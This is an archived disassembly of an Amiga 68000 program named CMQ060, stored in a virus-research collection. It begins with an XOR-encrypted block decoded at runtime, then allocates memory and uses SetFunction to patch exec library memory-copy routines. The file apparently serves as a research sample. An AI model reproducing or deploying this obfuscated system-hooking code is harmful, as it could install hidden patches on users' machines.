home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
zakapior
/
CMQ060.asm
< prev
next >
Wrap
Assembly Source File
|
2013-03-16
|
12KB
|
499 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $39290000
EXT_0002 EQU $FDE5DEA1
EXT_0003 EQU $FFFFBCDE
EXT_0004 EQU $FFFFFD8A
EXT_0005 EQU $FFFFFD90
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;000: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;004: 2C780004
LEA LAB_0001(PC),A0 ;008: 41FA0014
LEA LAB_0002+2(PC),A1 ;00C: 43FA0208
MOVE #$DEAD,D0 ;010: 303CDEAD
LAB_0000:
EOR D0,(A0)+ ;014: B158
CMPA.L A0,A1 ;016: B3C8
BNE.S LAB_0000 ;018: 66FA
JSR -636(A6) ;01A: 4EAEFD84
LAB_0001:
EOR.L D7,-(A1) ;01E: BFA1
CMPA D2,A5 ;020: BAC2
DC.W $AD83 ;022
CMPA D4,A1 ;024: B2C4
CMPA (A7)+,A6 ;026: BCDF
CMPA.L (A7)+,A7 ;028: BFDF
DC.W $A7AD ;02A
DC.W $FCF2 ;02C
DC.W $AE88 ;02E
SUB.B D3,D0 ;030: 9003
DC.W $2375 ;032
DC.W $F2AD ;034
DC.W $B9E9 ;036
SUB D7,(A7) ;038: 9F57
DC.W $DF71 ;03A
DC.W $FE2B ;03C
DC.W $F691 ;03E
DC.W $DEAD ;040
DC.W $DF3B ;042
DC.W $ACAD ;044
DC.W $FEA9 ;046
SUB.B D3,D0 ;048: 9003
DC.W $23F9 ;04A
DC.W $F4AD ;04C
CMPM.L (A3)+,(A4)+ ;04E: B98B
DC.W $FCED ;050
SUB D7,(A7) ;052: 9F57
ADD.L (A5)+,D7 ;054: DE9D
DC.W $FEA9 ;056
SUB.B D3,D0 ;058: 9003
DC.W $233D ;05A
MOVE.B -(A3),-(A1) ;05C: 1323
SUB D7,(A7) ;05E: 9F57
ADDX.B D1,D7 ;060: DF01
SUB D6,(A7) ;062: 9D57
ADD.B D7,EXT_0002 ;064: DF39FDE5DEA1
DC.W $FCA4 ;06A
DC.W $FDE8 ;06C
DC.W $DEA9 ;06E
SUB.B D3,D0 ;070: 9003
MOVE.L -(A3),(A0) ;072: 20A3
MOVE.B -(A3),-(A1) ;074: 1323
DC.W $FCEB ;076
SUB.B D3,D0 ;078: 9003
MOVE.L A7,(A0)+ ;07A: 20CF
DC.W $9272 ;07C
DC.W $A152 ;07E
DC.W $BEAD ;080
DC.W $DF35 ;082
DC.W $F2D5 ;084
DC.W $DEA9 ;086
DC.W $AEA9 ;088
SUB D6,(A7) ;08A: 9D57
DC.W $DE3F ;08C
SUB.B D3,D0 ;08E: 9003
DC.W $2375 ;090
SUB.B -17959(A5),D2 ;092: 942DB9D9
DC.W $A652 ;096
DC.W $F4ED ;098
DC.W $AEAF ;09A
DC.W $ACAC ;09C
DC.W $AAAD ;09E
DC.W $15E3 ;0A0
SUB.B D3,D0 ;0A2: 9003
DC.W $214F ;0A4
DC.W $6E29 ;0A6
DC.W $B9F5 ;0A8
DC.W $F2AD ;0AA
DC.W $FC91 ;0AC
ADD.L 8530(A5),D7 ;0AE: DEAD2152
DC.W $FA91 ;0B2
DC.W $DEAD ;0B4
ADD.B -24745(A5),D7 ;0B6: DE2D9F57
ADD.B -22363(A7),D7 ;0BA: DE2FA8A5
SUB.B D3,D0 ;0BE: 9003
MOVE.L A3,-(A0) ;0C0: 210B
SUB D7,(A7) ;0C2: 9F57
ADDA D1,A7 ;0C4: DEC1
DC.W $FEAB ;0C6
DC.W $ACBD ;0C8
SUB.B D3,D0 ;0CA: 9003
DC.W $2167 ;0CC
DC.W $6E29 ;0CE
EOR.L D4,D7 ;0D0: B987
SUB D4,(A7) ;0D2: 9957
ADDA (A5)+,A7 ;0D4: DEDD
DC.W $FEA6 ;0D6
DC.W $94B6 ;0D8
CMP (A1),D4 ;0DA: B851
DC.W $F8A6 ;0DC
NBCD -29394(A5) ;0DE: 482D8D2E
DC.W $B9BD ;0E2
DC.W $FEED ;0E4
DC.W $AAAD ;0E6
DC.W $FEAB ;0E8
DC.W $FCAE ;0EA
SUB.B D3,D0 ;0EC: 9003
MOVE.L (A3),-(A0) ;0EE: 2113
DC.W $682D ;0F0
CMPM (A7)+,(A4)+ ;0F2: B94F
DC.W $FEAB ;0F4
DC.W $ACAF ;0F6
SUB.B D3,D0 ;0F8: 9003
MOVE.L D1,-(A0) ;0FA: 2101
DC.W $FEAB ;0FC
SUB.B D3,D0 ;0FE: 9003
MOVE.L -(A5),-(A0) ;100: 2125
DC.W $15E3 ;102
DC.W $FCE0 ;104
SUB.B D3,D0 ;106: 9003
MOVE.L A7,(A0)+ ;108: 20CF
SUB D7,(A7) ;10A: 9F57
ADD.L D7,-(A7) ;10C: DFA7
DC.W $F2FD ;10E
DC.W $FC91 ;110
DC.W $DEAD ;112
ADD.B D2,(A5) ;114: D515
SUB.B D3,D0 ;116: 9003
DC.W $2197 ;118
DC.W $BEAD ;11A
MOVE.L D5,(EXT_0003).W ;11C: 21C5BCDE
CMPA (A6)+,A5 ;120: BADE
CMPA.L A6,A0 ;122: B1CE
CMPA.L A0,A2 ;124: B5C8
DC.W $AA83 ;126
CMPA D4,A1 ;128: B2C4
CMPA (A7)+,A6 ;12A: BCDF
CMPA.L (A7)+,A7 ;12C: BFDF
DC.W $A7AD ;12E
AND.L -8524(A7),D7 ;130: CEAFDEB4
MOVE.B -(A2),-(A6) ;134: 1D22
DC.W $E6EB ;136
DC.W $DEAD ;138
DC.W $DEAD ;13A
ADD.L -8532(A5),D7 ;13C: DEADDEAC
DC.W $DEAD ;140
DC.W $DEB3 ;142
SUBA -27934(A0),A3 ;144: 96E892E2
ADD.L -27668(A5),D2 ;148: D4AD93EC
SUBA.L -(A1),A3 ;14C: 97E1
DC.W $FEEB ;14E
DIVU -(A2),D6 ;150: 8CE2
SUB.L D1,(A7) ;152: 9397
DC.W $FE91 ;154
OR.L (A3),D3 ;156: 8693
ADD.L -29458(A5),D2 ;158: D4AD8CEE
DC.W $8EF9 ;15C
DC.W $FEF9 ;15E
SUB.L D0,(A7) ;160: 9197
DC.W $FE91 ;162
DC.W $AEDF ;164
CMPA.L (A6)+,A5 ;166: BBDE
CMPA.L A1,A3 ;168: B7C9
CMPA.L D3,A5 ;16A: BBC3
DC.W $AAED ;16C
CMPA.L D0,A7 ;16E: BFC0
CMPA.L A2,A3 ;170: B7CA
EOR.L D7,D3 ;172: BF83
CMPA.L D2,A6 ;174: BDC2
EOR.L D1,(A3) ;176: B393
ADD.L -25876(A5),D2 ;178: D4AD9AEC
DC.W $8AEC ;17C
DC.W $D4AD ;17E
SUBA (A7)+,A4 ;180: 98DF
CMPA.L D0,A0 ;182: B1C0
LSR.L #2,D5 ;184: E48D
SUBA.L D0,A7 ;186: 9FC0
CMPA.L A2,A3 ;188: B7CA
CMPM.L (A5)+,(A7)+ ;18A: BF8D
SUBA D2,A1 ;18C: 92C2
DC.W $A8C8 ;18E
DC.W $AC8D ;190
ROXR.L #1,D3 ;192: E293
ADD.L -29224(A5),D2 ;194: D4AD8DD8
CMPA D7,A6 ;198: BCC7
CMPA.L A6,A5 ;19A: BBCE
DC.W $AA97 ;19C
DC.W $FEEB ;19E
SUBA.L -(A1),A3 ;1A0: 97E1
DIVU -(A5),D5 ;1A2: 8AE5
DC.W $878D ;1A4
DC.W $9DF8 ;1A6
DC.W $90F9 ;1A8
DC.W $FFA7 ;1AA
ADD.L -26376(A5),D2 ;1AC: D4AD98F8
SUBA.L -(A6),A6 ;1B0: 9DE6
DC.W $FEF8 ;1B2
DC.W $FEE3 ;1B4
DC.W $9FF7 ;1B6
SUBX.L -(A5),-(A3) ;1B8: 978D
DC.W $9DF8 ;1BA
DC.W $90F9 ;1BC
DC.W $FE80 ;1BE
DC.W $FEE9 ;1C0
SUBA.L -276(A0),A3 ;1C2: 97E8FEEC
DC.W $90E9 ;1C6
DC.W $FEEF ;1C8
DC.W $8BFF ;1CA
SUB.L A5,D0 ;1CC: 908D
SUBA.L -(A3),A3 ;1CE: 97E3
DC.W $FEE5 ;1D0
SUBA.L -(A1),A5 ;1D2: 9BE1
SUB.L A5,D1 ;1D4: 928D
SUBA.L -(A0),A7 ;1D6: 9FE0
DC.W $97EA ;1D8
SUBX.L -(A5),-(A7) ;1DA: 9F8D
SUBA.L -(A4),A2 ;1DC: 95E4
SUBA -(A1),A1 ;1DE: 92E1
SUBA.L -(A3),A3 ;1E0: 97E3
SUBX.L -(A5),-(A4) ;1E2: 998D
DIVS -(A5),D4 ;1E4: 89E5
DC.W $91FF ;1E6
SUBX.L -(A4),-(A5) ;1E8: 9B8C
DC.W $D4AD ;1EA
ADD.L -(A7),D2 ;1EC: D4A7
DC.W $F0A7 ;1EE
ADDA #$8BE4,A7 ;1F0: DEFC8BE4
OR.L -(A7),D5 ;1F4: 8AA7
DC.W $DEAD ;1F6
ADDQ.L #7,-8890(A5) ;1F8: 5EADDD46
DC.W $DEAD ;1FC
DC.W $DEAD ;1FE
DC.W $5EAD ;200
ADD D6,(A1)+ ;202: DD59
DC.W $DEAD ;204
DC.W $DEAD ;206
DC.W $DEAD ;208
ADD.L -23348(A5),D7 ;20A: DEADA4CC
CMPA.L A4,A2 ;20E: B5CC
DC.W $AEC4 ;210
CMPA.L (A7)+,A0 ;212: B1DF
LAB_0002:
ADD.L 0(A5),D7 ;214: DEAD0000
DC.W $0000 ;218
MOVEA.L (ABSEXECBASE).W,A6 ;21A: 2C780004
BTST #3,297(A6) ;21E: 082E00030129
BNE.S LAB_0004 ;224: 6604
LAB_0003:
MOVEQ #20,D0 ;226: 7014
RTS ;228: 4E75
LAB_0004:
MOVE.L #$000001A3,D0 ;22A: 203C000001A3
MOVEQ #1,D1 ;230: 7201
JSR -198(A6) ;232: 4EAEFF3A
MOVE.L D0,D6 ;236: 2C00
BEQ.S LAB_0003 ;238: 67EC
ADDI #$000F,D6 ;23A: 0646000F
ANDI.B #$F0,D6 ;23E: 020600F0
LEA LAB_0005(PC),A0 ;242: 41FA004C
MOVEA.L D6,A1 ;246: 2246
MOVE.L #$00000194,D0 ;248: 203C00000194
BSR LAB_0014 ;24E: 61000128
MOVEA.L A6,A1 ;252: 224E
LEA (EXT_0005).W,A0 ;254: 41F8FD90
MOVE.L D6,D0 ;258: 2006
JSR -420(A6) ;25A: 4EAEFE5C
MOVEA.L A6,A1 ;25E: 224E
LEA (EXT_0004).W,A0 ;260: 41F8FD8A
MOVE.L D6,D0 ;264: 2006
ADDI.L #$000000E8,D0 ;266: 0680000000E8
JSR -420(A6) ;26C: 4EAEFE5C
MOVEQ #0,D0 ;270: 7000
RTS ;272: 4E75
MOVEA.L (A6),A2 ;274: 2456
DC.W $4552 ;276
MOVE -(A0),D5 ;278: 3A20
DC.W $434D ;27A
DC.W $5130 ;27C
DC.W $3630 ;27E
DC.W $2031 ;280
MOVE.L 40(A5,D2.W),D7 ;282: 2E352028
DC.W $3130 ;286
DC.W $2E37 ;288
MOVE.L EXT_0001,D7 ;28A: 2E3939290000
LAB_0005:
TST.L D0 ;290: 4A80
BEQ.S LAB_000D ;292: 674C
MOVE A1,D1 ;294: 3209
BTST #0,D1 ;296: 08010000
BEQ.S LAB_0006 ;29A: 6708
MOVE.B (A0)+,(A1)+ ;29C: 12D8
SUBQ.L #1,D0 ;29E: 5380
BEQ.S LAB_000D ;2A0: 673E
MOVE A1,D1 ;2A2: 3209
LAB_0006:
BTST #1,D1 ;2A4: 08010001
BEQ.S LAB_0008 ;2A8: 6712
CMPI.L #$00000001,D0 ;2AA: 0C8000000001
BNE.S LAB_0007 ;2B0: 6604
MOVE.B (A0)+,(A1)+ ;2B2: 12D8
RTS ;2B4: 4E75
LAB_0007:
MOVE (A0)+,(A1)+ ;2B6: 32D8
SUBQ.L #2,D0 ;2B8: 5580
BEQ.S LAB_000D ;2BA: 6724
LAB_0008:
CMPI.L #$00000810,D0 ;2BC: 0C8000000810
BCC.S LAB_000E ;2C2: 641E
LAB_0009:
MOVE.L D0,D1 ;2C4: 2200
LSR #2,D1 ;2C6: E449
BEQ.S LAB_000B ;2C8: 6706
LAB_000A:
MOVE.L (A0)+,(A1)+ ;2CA: 22D8
SUBQ #1,D1 ;2CC: 5341
BNE.S LAB_000A ;2CE: 66FA
LAB_000B:
BTST #1,D0 ;2D0: 08000001
BEQ.S LAB_000C ;2D4: 6702
MOVE (A0)+,(A1)+ ;2D6: 32D8
LAB_000C:
BTST #0,D0 ;2D8: 08000000
BEQ.S LAB_000D ;2DC: 6702
MOVE.B (A0)+,(A1)+ ;2DE: 12D8
LAB_000D:
RTS ;2E0: 4E75
LAB_000E:
CMPA.L #$01000000,A0 ;2E2: B1FC01000000
BCS.S LAB_0012 ;2E8: 655A
CMPA.L #$01000000,A1 ;2EA: B3FC01000000
BCS.S LAB_0012 ;2F0: 6552
MOVE A1,D1 ;2F2: 3209
BTST #2,D1 ;2F4: 08010002
BEQ.S LAB_000F ;2F8: 6706
SUBQ.L #4,D0 ;2FA: 5980
MOVE.L (A0)+,(A1)+ ;2FC: 22D8
MOVE A1,D1 ;2FE: 3209
LAB_000F:
BTST #3,D1 ;300: 08010003
BEQ.S LAB_0010 ;304: 6706
SUBQ.L #8,D0 ;306: 5180
MOVE.L (A0)+,(A1)+ ;308: 22D8
MOVE.L (A0)+,(A1)+ ;30A: 22D8
LAB_0010:
MOVE A0,D1 ;30C: 3208
ANDI.B #$0F,D1 ;30E: 0201000F
BNE.S LAB_0012 ;312: 6630
MOVE.L D0,D1 ;314: 2200
LSR.L #7,D1 ;316: EE89
LAB_0011:
DC.W $F620 ;318
SUB.B D0,D0 ;31A: 9000
DC.W $F620 ;31C
SUB.B D0,D0 ;31E: 9000
DC.W $F620 ;320
SUB.B D0,D0 ;322: 9000
DC.W $F620 ;324
SUB.B D0,D0 ;326: 9000
DC.W $F620 ;328
SUB.B D0,D0 ;32A: 9000
DC.W $F620 ;32C
SUB.B D0,D0 ;32E: 9000
DC.W $F620 ;330
SUB.B D0,D0 ;332: 9000
DC.W $F620 ;334
SUB.B D0,D0 ;336: 9000
SUBQ.L #1,D1 ;338: 5381
BNE.S LAB_0011 ;33A: 66DC
AND #$007F,D0 ;33C: C07C007F
BNE.S LAB_0009 ;340: 6682
RTS ;342: 4E75
LAB_0012:
MOVE.L D0,D1 ;344: 2200
LSR.L #6,D1 ;346: EC89
LAB_0013:
MOVE.L (A0)+,(A1)+ ;348: 22D8
MOVE.L (A0)+,(A1)+ ;34A: 22D8
MOVE.L (A0)+,(A1)+ ;34C: 22D8
MOVE.L (A0)+,(A1)+ ;34E: 22D8
MOVE.L (A0)+,(A1)+ ;350: 22D8
MOVE.L (A0)+,(A1)+ ;352: 22D8
MOVE.L (A0)+,(A1)+ ;354: 22D8
MOVE.L (A0)+,(A1)+ ;356: 22D8
MOVE.L (A0)+,(A1)+ ;358: 22D8
MOVE.L (A0)+,(A1)+ ;35A: 22D8
MOVE.L (A0)+,(A1)+ ;35C: 22D8
MOVE.L (A0)+,(A1)+ ;35E: 22D8
MOVE.L (A0)+,(A1)+ ;360: 22D8
MOVE.L (A0)+,(A1)+ ;362: 22D8
MOVE.L (A0)+,(A1)+ ;364: 22D8
MOVE.L (A0)+,(A1)+ ;366: 22D8
SUBQ.L #1,D1 ;368: 5381
BNE.S LAB_0013 ;36A: 66DC
AND #$003F,D0 ;36C: C07C003F
BNE LAB_0009 ;370: 6600FF52
RTS ;374: 4E75
NOP ;376: 4E71
LAB_0014:
LSR.L #2,D0 ;378: E488
CMPI.L #$00000204,D0 ;37A: 0C8000000204
BCC.S LAB_0017 ;380: 640C
TST D0 ;382: 4A40
BEQ.S LAB_0016 ;384: 6706
LAB_0015:
MOVE.L (A0)+,(A1)+ ;386: 22D8
SUBQ #1,D0 ;388: 5340
BNE.S LAB_0015 ;38A: 66FA
LAB_0016:
RTS ;38C: 4E75
LAB_0017:
CMPA.L #$01000000,A0 ;38E: B1FC01000000
BCS.S LAB_001B ;394: 655A
CMPA.L #$01000000,A1 ;396: B3FC01000000
BCS.S LAB_001B ;39C: 6552
MOVE A1,D1 ;39E: 3209
BTST #2,D1 ;3A0: 08010002
BEQ.S LAB_0018 ;3A4: 6706
SUBQ.L #1,D0 ;3A6: 5380
MOVE.L (A0)+,(A1)+ ;3A8: 22D8
MOVE A1,D1 ;3AA: 3209
LAB_0018:
BTST #3,D1 ;3AC: 08010003
BEQ.S LAB_0019 ;3B0: 6706
SUBQ.L #2,D0 ;3B2: 5580
MOVE.L (A0)+,(A1)+ ;3B4: 22D8
MOVE.L (A0)+,(A1)+ ;3B6: 22D8
LAB_0019:
MOVE A0,D1 ;3B8: 3208
ANDI.B #$0F,D1 ;3BA: 0201000F
BNE.S LAB_001B ;3BE: 6630
MOVE.L D0,D1 ;3C0: 2200
LSR.L #5,D1 ;3C2: EA89
LAB_001A:
DC.W $F620 ;3C4
SUB.B D0,D0 ;3C6: 9000
DC.W $F620 ;3C8
SUB.B D0,D0 ;3CA: 9000
DC.W $F620 ;3CC
SUB.B D0,D0 ;3CE: 9000
DC.W $F620 ;3D0
SUB.B D0,D0 ;3D2: 9000
DC.W $F620 ;3D4
SUB.B D0,D0 ;3D6: 9000
DC.W $F620 ;3D8
SUB.B D0,D0 ;3DA: 9000
DC.W $F620 ;3DC
SUB.B D0,D0 ;3DE: 9000
DC.W $F620 ;3E0
SUB.B D0,D0 ;3E2: 9000
SUBQ.L #1,D1 ;3E4: 5381
BNE.S LAB_001A ;3E6: 66DC
AND #$001F,D0 ;3E8: C07C001F
BNE.S LAB_0015 ;3EC: 6698
RTS ;3EE: 4E75
LAB_001B:
MOVE.L D0,D1 ;3F0: 2200
LSR.L #4,D1 ;3F2: E889
LAB_001C:
MOVE.L (A0)+,(A1)+ ;3F4: 22D8
MOVE.L (A0)+,(A1)+ ;3F6: 22D8
MOVE.L (A0)+,(A1)+ ;3F8: 22D8
MOVE.L (A0)+,(A1)+ ;3FA: 22D8
MOVE.L (A0)+,(A1)+ ;3FC: 22D8
MOVE.L (A0)+,(A1)+ ;3FE: 22D8
MOVE.L (A0)+,(A1)+ ;400: 22D8
MOVE.L (A0)+,(A1)+ ;402: 22D8
MOVE.L (A0)+,(A1)+ ;404: 22D8
MOVE.L (A0)+,(A1)+ ;406: 22D8
MOVE.L (A0)+,(A1)+ ;408: 22D8
MOVE.L (A0)+,(A1)+ ;40A: 22D8
MOVE.L (A0)+,(A1)+ ;40C: 22D8
MOVE.L (A0)+,(A1)+ ;40E: 22D8
MOVE.L (A0)+,(A1)+ ;410: 22D8
MOVE.L (A0)+,(A1)+ ;412: 22D8
SUBQ.L #1,D1 ;414: 5381
BNE.S LAB_001C ;416: 66DC
AND #$000F,D0 ;418: C07C000F
BNE LAB_0015 ;41C: 6600FF68
RTS ;420: 4E75
NOP ;422: 4E71
END